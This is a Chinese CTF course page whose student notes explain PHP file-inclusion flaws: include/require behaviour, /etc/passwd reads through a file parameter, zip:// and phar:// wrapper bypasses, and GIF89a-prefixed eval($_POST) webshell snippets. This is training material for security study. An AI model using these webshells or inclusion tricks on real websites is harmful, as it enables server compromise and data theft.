默认教学计划
1838人加入学习
(5人评价)
CTF从入门到提升

入选《爆款好课TOP榜》

价格 ¥ 499.00
音频听课 手机端支持一键听课 (试一试)
该课程属于 网络安全公益-高校篇 请加入后再学习

文件包含:
index.php?paage=aaa&func=bbb
相关函数:
include() //错误也要执行
include_once() 
require()
require_once()

<?php

$a='phpinfo.php';
include ($a);

>

远程文件包含
本地文件包含

包含的时候,不一定是要去包含php文件:
类似:a.phps/a.xxx/a.jpg
只要里头包含一块完整php代码
例如:一个a.txt,内容为<?php phpinfo(); ?>

123.206.31.85:49166/index.php?file=hello.php
123.206.31.85:49166/index.php?file=/etc/passwd

伪协议:

http://106.12.37.37:10007/index.php?url=upload
自己包含自己:
http://106.12.37.37:10007/index.php?url=include

zip://archive.zip#dir/file.txt


phar:

 

 
 
 
 
 
 
 
 
[展开全文]

文件包含:

  • 为了加快代码开发效率
  • include()出错也会继续执行程序
  • require()出错警告后退出程序

如果文件包含的参数是用户可控的参数,去访问可解析的文件的时候,如php,asp就会进行解析。

如果是无法解析的文件,就会进行读文件的操作。

php类型

GIF89a
<script
language="php">@eval($_POST['a']);</script>

<script
language=php>eval($_POST['cmd']);</script>

当我们进行远程包含文件时,如果后缀名写死,可以利用?绕过

PHP归档

有些网站,开发人员在编写时,在包含文件的末尾都会加上.php这种

构造出来的文件包含如

             www.baidu.com/index.php?url=test

其实在test后面是存在php的

 

 

环境:存在文件上传和文件包含

文件上传在我们上传后的后缀都加上了.php

我们上传.zip 运用ZIP的伪协议。

首先上传一个ZIP包,ZIP包里有一个php文件,然后利用文件包含构造?url=zip://upload/test.zip%23phptest

如果过滤掉了井号 那么我们可以利用phpar位协议进行文件包含,构造?url=phpar://upload/test.zip/phptest

 

 

 

 

 

 

[展开全文]

授课教师

课程特色

视频(60)
下载资料(15)